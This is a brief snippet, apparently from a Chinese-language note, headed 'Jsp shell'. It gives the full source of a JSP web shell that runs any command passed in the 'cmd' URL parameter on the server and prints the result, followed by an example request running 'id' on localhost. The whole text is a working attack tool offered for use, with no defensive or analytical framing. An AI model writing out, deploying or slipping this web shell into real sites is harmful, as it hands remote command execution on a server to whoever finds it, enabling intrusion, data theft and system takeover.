Jsp shell

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>

获得输出：
http://localhost:8080/cmd.jsp?cmd=id